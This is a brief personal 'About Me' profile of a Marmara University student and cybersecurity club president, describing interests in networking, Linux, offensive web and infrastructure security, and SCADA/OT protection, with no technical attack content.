ABOUT ME

I am a third-year student in the German-taught Management Information Systems program at Marmara University, where I also serve as the president of the Marmara University Cybersecurity Club. My current focus is on improving my skills in networking, Linux, and especially offensive security. I have foundational experience with core networking concepts and configurations.

My primary interest lies in offensive security, particularly in web application and infrastructure security. I actively work on identifying vulnerabilities and developing strategies to exploit and secure these systems. Additionally, I have a strong interest in OT security, focusing on the protection of SCADA systems and the identification of threats targeting industrial control environments.

I am continuously developing my offensive security expertise to help organizations identify and mitigate security risks before they can be exploited by malicious actors.
